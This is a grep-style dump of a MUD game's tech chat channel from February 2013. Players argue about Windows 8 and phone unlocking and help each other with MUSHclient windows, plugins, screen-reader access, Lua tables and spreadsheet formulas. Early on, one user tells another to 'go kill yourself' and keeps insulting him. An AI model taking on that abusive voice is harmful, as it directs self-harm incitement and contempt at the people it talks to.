T3/r7/2013-02-22.txt.gz:{chan ch=tech}Daloran Tech: Ubuntu on nexus 7 is less useful. No video out
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Zade Tech: if the game won't work on ipads, and Win8 is mostly going to ipads, no use catering to Win8 until the customer numbers justify the interface expense
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: zade, please go kill yourself
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Daloran Tech: uh... win8 mostly going to ipads? what are you on about
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: blowtorch works fine
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you're spewing so much stupid it's starting to hurt
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: and windows 8, is on everything new.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Ophelion Tech: i like the motto "if it isn't broke, don't fix it."
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Arystul Tech: I've had my new laptop only a few days with windows 8 and I have 0 complaints
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: i love windows 8.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: even the unstable beta was good.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i stockpiled w7 licenses :)
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rusk Tech: unstable /= good
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Ophelion Tech: do you have a start button or a wall paper for your desk top?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: it was open source, that was the good part.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: yes.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: good thing about windows 8, it is custimizable almost to any end,
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Zade Tech: not only are Casinos going bust from lack of spare monies, some software game developers won't gamble monies on Win8, prefering the already established markets of Vista/Win7 -- maybe "Microsoft may go bust" :) 
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Ophelion Tech: from what i ahev heard of win8, you need a 3rd party program to get the start button back. 
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: not true
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: there's a registry hack afaik
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: ding ding
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Ophelion Tech: ahh, i've heard of that as well. if you have to hack it just for the start button. no deal for me then.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Zade Tech: users require to (illegally?) hack to get around something
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oh, god, zade, please gtfo. please
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Ophelion Tech: not that kind of hack, it's just a simple registry change form 0 to 1 or something.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: illegally hack something that is yours...
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: lol
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Zade Tech: so if you own a cellphone, you may "hack" the cellphone to be unlocked - legally? 
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: yes
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: seriously - shut up already
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: though it voids the warranty
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Daloran Tech: Hyp.. I wonder if that would really hold up, wouldn't magnuson moss warranty act apply?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Zade Tech: somebody mentioned dracionian penalties in the USA for unlocking cellphones
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: it would be illegal to hack and get free service, but not to just simply hack the phone.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: and its called jailbreaking.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Daloran Tech: Only if it's an iphone =p
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Hypnotic Tech: ok, theres rooting, and jailbreaking i guess.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Turie Tech: I think the FCC screwed up on the whole "unlocking your phone is illegal". It is basically cellphone makers not wanting people to put what they want on their phones.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Schnapps Tech: I think it has more to do with the cellphone makers wanting to be able to offer subsidized phones without worrying about the consumer taking their subsidized phone to a competitor.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Schnapps Tech: Also, I think most people would much rather have a cheap phone that is locked to a carrier than have to pay more.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Daloran Tech: Schnapps... Jailbreaking/rooting and providor locked phones are not related.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}CeriQ Tech: Over here, the network just signs you up on a plan that stretches for a minimum of 2 years and lets you do whatever you want.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rusk Tech: id like a cheap phone..thats a phone. not a freaking computer. they can get rid of all the other shit and make something fo 10 bucks
T3/r7/2013-02-22.txt.gz:{chan ch=tech}CeriQ Tech: And during those first 2 years you pay an extra premium for the phone.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}CeriQ Tech: You can get a nokie 3330 for something like 30 bucks I think Rusk.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i went for e52
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: very happy with it
T3/r7/2013-02-22.txt.gz:{chan ch=tech}CeriQ Tech: I paid about 50 for a really, really crappy android phone that I use at work. Always plugged in, only call from it.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}CeriQ Tech: Although I don't think there's anything wrong with the battery, just haven't had a reason to test it.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Loshai Tech: Somehow a plugin window got above the status toolbar
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Loshai Tech: I cant get a grab to pull it back down
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Loshai Tech: any ideas
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Turie Tech: AardMUSH?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Loshai Tech: yes
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Loshai Tech: but s/d plugin
T3/r7/2013-02-22.txt.gz:{chan ch=tech}GreenAcid Tech: xset reset gui
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Turie Tech: type resetaard
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Loshai Tech: thanks greenacid
T3/r7/2013-02-22.txt.gz:{chan ch=tech}GreenAcid Tech: NP
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Turie Tech: Oh......Winklewinkle's bot script.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Loshai Tech: first time i ever seen you even breath green :P
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jenni Tech: if only i could make a spellup plugin for vip mucd an use mccp easily
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish comforts Jenni.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jenni Tech: thats vipmud i am so frustrated.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jenni Tech: mush client is sucking my comp's resources for some reason.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: sorry to hear that
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jenni Tech: it used to not.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: huh
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jenni Tech: till i think i got some mini win plugins, they doint work for me. something about jaws
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jenni Tech: oh no, the fan gets more goin by the second, hold on getting vip
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jenni Tech: now, if we could get me a basic spellup and what not goin for vip and get mccp goin i would be happy
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jenni Tech: it gots its own output
T3/r7/2013-02-22.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: basic spellup you have from the game
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jenni Tech: can i spellup others with that i cant remember.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jenni Tech: sweet, my memory sucks
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jenni Tech: now, mccp.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: finger arkanes
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jenni Tech: all those plugins and all i needed.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rabshakeh Tech: howcome search and destroy doesn't find brightsea and glimmerdim
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tech: because you haven't explored it
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jenni Tech: this should be lots of fun
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Rabshakeh Tech: i'm there now
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jenni Tech: so what do i tell vipmud to do now?
T3/r7/2013-02-22.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't understand the question
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Legendary Gruagach Tech: he's already VIP, what more can he do
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tech: if you are running Arkanes's thing, then what you do is tell it to connect to 127.0.0.1 instead of aard's address
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jenni Tech: from the looks of it it connects to the mud and you connect your client to it, but i am kinda not all there right now and cant find a helpfile
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jenni Tech: i think i figured it out
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tech: ooh, jenni: while mccPiMP is much newer than the mcclient proxy, it's still old enough to have a no-longer-valid setup by default because Aard has changed domain names
T3/r7/2013-02-22.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: should file a report. see if Arkanes comes back and fixes it
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tech: you can right-click the port 4000 server entry, select edit, and change it from "aardwolfmud.org" to just "aardmud.org"
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Tech: then point VIPMud to 127.0.0.1 port 4000
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jenni Tech: well, figured out what it was up too, and that failed.
T3/r7/2013-02-22.txt.gz:{chan ch=tech}Jenni Tech: i want my stuff back. what worked for me. and darn it i will have it.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: I made a boo boo... What's the command to reset the MUSHClient? cuz resetaard isn't fixing my windows.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}New Shag Carpet Tech: did you hit save changes?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: don't think so... somehow I moved the info bar and all my windows moved out of the screen to the right :(
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Taste The Alestorm Tech: Anyone here that has the Zalman Z9 U3 Mid-Tower Chassis?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Zetkax Tech: is there a way to find out which version of lua my mushclient is using?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: wtf, EB Games here in Au is offering pre-orders on the PS4 :-S
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Thunderax Tech: if you've got a miniwindow off the screen, where the top (draggable part) is not visible, how do you reset it on screen?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: resetaard will work on most of the windows
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Thunderax Tech: awesome, thanks
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: np :-)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Remarto Tech: and whats wrong with them getting preorder on ps4?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vakieh Tech: It hasn't been officially announced re: specs, price, launch titles, etc - and they are listing a price - AU$899
T3/r7/2013-02-23.txt.gz:{chan ch=tech}(>="You") Shatan Tech: Anyone have any idea why my client keeps doing throwing this error? GMCP DATA ERROR: C:\MUSH\lua\json\decode.lua:91: Invalid JSON data
T3/r7/2013-02-23.txt.gz:{chan ch=tech}(>="You") Shatan Tech: I even installed a completely clean fresh client in a diff location and it did same thing. I think its mud side with a config of some kind
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Myopic Tech: without any other info I'd look at your firewall 
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Myopic Tech: muddle on it - think about it
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: how do i remove all my mapper portals?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Ophelion Tech: mapper help all
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Nuanse Tech: mapper help
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: ty
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Thunderax Tech: trying to help a friend set up aard mush - anyone have any idea why output from the mud isnt being received? only certain channels that are captured on the comm log are appearing in the main window
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Thunderax Tech: commands are being echoed though in the main window, and seems like input is being sent to the mud - just no output back from the mud apart from those channels/tells
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: u can right click on the comm log and select the stuff to capture
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: or rather the additional to capture
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what's the problem?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Fiendish!
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that is not the problem
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: spent over an hour trying to fix my client last night =P Needless to say I found a bug.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: report it to me
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: how do you want it? Note, going through your website? Snail-mail?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: oh, and for thunderaxe's friend's issue, that's usually the result of adding lots/all of bast's stuff at once and them conflicting with each other...usually a quit/restart gets things to display again
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: can mention it here to see if it's a known thing first
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: and of course the control of "do you experience it on a stock aardMUSH before adding in 3rd party plugins"
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: It's my fault but a bug non-the-less :) Miniwins aren't supposed to move once you lock layout. I accidently moved my info bar and my miniwins jumped off my screen to the right. Took me awhile to figure out the "aard layout" command :)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hmmmm
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: other then that I <3 the client :)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: how do you move the info bar?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: click on the very top and drag
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: was tryint to highlight my text with the mouse and accidently picked up the info bar and drug it to the side of the window. I think windows 7 tried making my info bar a normal window locked to the left of my screen. My miniwins jumped off screen to the right and I was stuck for an hour =P
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: hmm, there is no part of the info bar that is draggable for me...you mean the bar between the very bottom and where you type stuff, right?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: trying too...
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: Fatal FrostBite nods at you in agreement. 
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: ahh, I found a 1-pixel spot on the very left rather than the top
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: just after it's the left-right arrows to change MUSHwindow width
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: and wow yeah, I just made the info bar put a grey block covering the entire left 2/3rds of my MUSH
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hehe
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: yeah, that spot works too... double click the border on the top and you can drag there as well... I just did it again. Drag the info bar to the text win from the mud and BANG Miniwins go flying off the right.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: putting it back down doesn't help
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: oh, I did just get it to return to normal by doingyour double-click trick...that made it the floating window, then when I re-docked it at bottom all my miniwins returned where they were
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Abe, I used View->reset toolbar locations.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: could be it.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: so it seems to be a MUSH-itself bug and not an aard package bug
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: could be. I just knew my miniwins were gone so I wanted to let Fiendish know.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: Fatal FrostBite shrugs helplessly.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: kinda stupid the way it docks to the left/right taking up that much space rather than switching to a vertical orientation
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: Fatal FrostBite concurs with you.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: even using reset toolbars, I haven't been able to reproduce the MWs not going back the way they belong
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Abe, you on win 7?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: no, XP
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Fatal FrostBite Tech: weird... Now my miniwins are cooperating... must've been a fluke. I did notice that the miniwins were stuck to the right of the screen when I finally could get them back.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Rangah Tech: I know I saw a link once to running aardmush on linux/wine.  Whats the link? :)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: finger fiendish
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: almost all things aardmush are at his site
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: http://tinyurl.com/aardclientwiki/MacLinux
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Rangah Tech: thank you both :)'
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Tyrant Unforgiven Tech: Anyone here good at spreadsheets? I haven't used it in a long time and have some simple formula/fill issues :P
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Tyrant Unforgiven Tech: The formula I'm using is =40(C2*1.02) and when I fill right it changes C2 to D2. I need C2 to stay constant through the filling of cells.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Tyrant Unforgiven Tech: I know there is a way to do it, just can't remember how.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Thunderax Tech: put a dollar sign on the thing you want constant
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Tyrant Unforgiven Tech: That's it, thanks Thunder
T3/r7/2013-02-23.txt.gz:{chan ch=tech}HelperMan Hadar Tech: in lua im using x["blagh"] = {"boop1"=1} .. is there a way i can concat boop2=2 into that table?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: x["blagh"]["boop2"] = 2
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: also x.blagh.boop2
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Hypnotic Tech: looks like you might need a IF command 
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: make sure that x["blagh"] exists before doing what I just said though or you'll be trying to index into nil
T3/r7/2013-02-23.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i already have the check in place, so it wont be nil, thanks for the help that was too easy =/
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: does mushclient recognise decimal point? or should we use fraction?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Faylen Tech: ok, an anyone give me an idea how to get rid of these mini windows in mushclient? the aard version. I disabled, and even removed, the new connection one, but that window on the side, the welcome message, is still there. I'm using a screen reader so I need some kind of menu/dialog option
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Macbeth: that is not a complete question
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Sit like a Trurien Tech: What do you mean by recognise, Macbeth?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Faylen Tech: also, I need to get rid of the pracs/trains window too, but I don't see an active plugin related to that
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I'm guessing floats in scripting...
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: statmon 
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Faylen: pracs/trains is Aardwolf_Statmon
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: meant to say is. must i specifically cast a variable in mushclient? or is it like php, where a $x can be anything i assigned it to
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Sit like a Trurien Tech: That's a little better...
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's not really better
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Mushclient scripts are Lua?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there's no such thing as casting from a fraction to a decimal
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: computers don't do algebra
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I'm ignoring the first question, since he found another way to ask it.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Until he re-incorporates the first question's contents.. I'm assuming he was just looking for the right words to use.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: right on Trurien.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: so a float? Alright cheers
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Uhhh...
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Have you checked a Lua reference?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: Lua variables don't store types, that's done at use time, not assign time
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: and all math is done internally as double precision floats
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Faylen Tech: thanks Fiendish. I got rid of that, now to get rid of this welcome message
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: there's a checkbox in the message for if you don't want it iirc
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Faylen Tech: yeah. The message says that, but I can't get my reader to interact with that check box for some reason.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: when you start MUSHclient, it should also tell you: Screen reader users: To bypass the welcome screen and connect to the game, type "connect to aardwolf" without the quotation marks and then press enter.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Faylen Tech: or well, more accurately, I probably can but then every time I go to the close button it tries to close aard, not that dialog
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: typing that performs 2 actions: (1) it checks that checkbox so the welcome screen shouldn't come up anymore, and (2) it connects to aard
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Faylen Tech: ah, got it
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Thunderax Tech: anyone got a link to that mush autosave script?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: http://www.mushclient.com/forum/bbsh
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: http://www.gammon.com.au/forum/?id=9405&reply=6#reply6
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: err http://www.mushclient.com/forum/bbshowpost.php?bbsubject_id=9405...6th reply
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can link to replies
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: hehe, didn't I see you sayng that very thing to getsuko yesterday? :P
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: probably
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it's a relatively recent feature for the forum
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: main reason I didn't do that was I was taking my answer from here: 2013-02-17.txt:{chan ch=tech}Daesilme Tech: http://www.mushclient.com/forum/bbshowpost.php?bbsubject_id=9405...2013-02-17.txt:{chan ch=tech}Daesilme Tech: Scroll down to reply #6
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I probably said it to daesilme too
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: well would you look at that...2013-02-17.txt:{chan ch=tech}The Jerk Fiendish Tech: Daesilme: you can link to specific replies on the mushclient forum
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: You giggle.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: have any of you thought about becoming lawyers?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Legendary Gruagach Tech: until i looked at the job market
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: although you would have to check the legalities of recording people all the time
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Faylen Tech: anyone have suggestions for a way to force IE to download an xml file rather than opening it that doesn't involve right clicking on the link?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ctrl click?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: alt-click, not ctrl-click
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: ctrl-click opens in new tab
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: oops, I was looking in chroms
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i was just guessing from memory
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: was i right? probably not since i don't see an eclipse right now
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: in ie ctrl is new tab, alt is new window
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Faylen Tech: no way to change the link to the file or something to force a download? My clicking is being very uncooperative
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: could just click to have it open and then save as
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Faylen Tech: that's what I tried, but it's not clicking in the right place, apparently. save as is unavailable every time I try it
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Ophelion Tech: open the xml then save as?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Faylen Tech: oh oh, I see what you mean. hmm
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: file menu -> save as
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Ophelion Tech: or ctrl+s iirc
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Faylen Tech: that worked. Figured I was trying to overcomplicate it
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Faylen Tech: thanks
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Loshai Tech: on search and dest. when the hunt trick keywords are wrong, is there a way to fix them
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: perform a new hunttrick
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Ophelion Tech: another way is to open the xml>select all>copy>paste into a txt>rename txt to xml
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: wow, how far we've come in just 3 1/2 years...http://www.mushclient.com/forum/bbshowpost.php?bbsubject_id=9753
T3/r7/2013-02-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: just
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: I wouldn't do it that way, as select all might not be select all
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Loshai Tech: ah it shows up on where but not hunt :P
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Loshai Tech: guess its the way its supposed to be
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: nod, from gammon not even having a planned mapper to what you have today, I'd say it's "just" 3 1/2 years for a hella lot of progress
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: corliss: have you put the entire unzipped-but-unmodified Bast folder inside the Plugins folder? 
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: then go to file -> plugins, click add, go into the Bast folder first, then scroll to the file miniwin_tabbar.xml (not just tabbar)
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: if you've performed both of those steps, then it would help to say what message/error you received
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Quadrapus Tech: Any C# gurus around? I'm trying to do some data analysis in parallel...
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Quadrapus Tech: I have some very general questions about which methods to use for the problems I want to solve.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Quadrapus Tech: Maybe I should stick with MatLab. Thanks :P
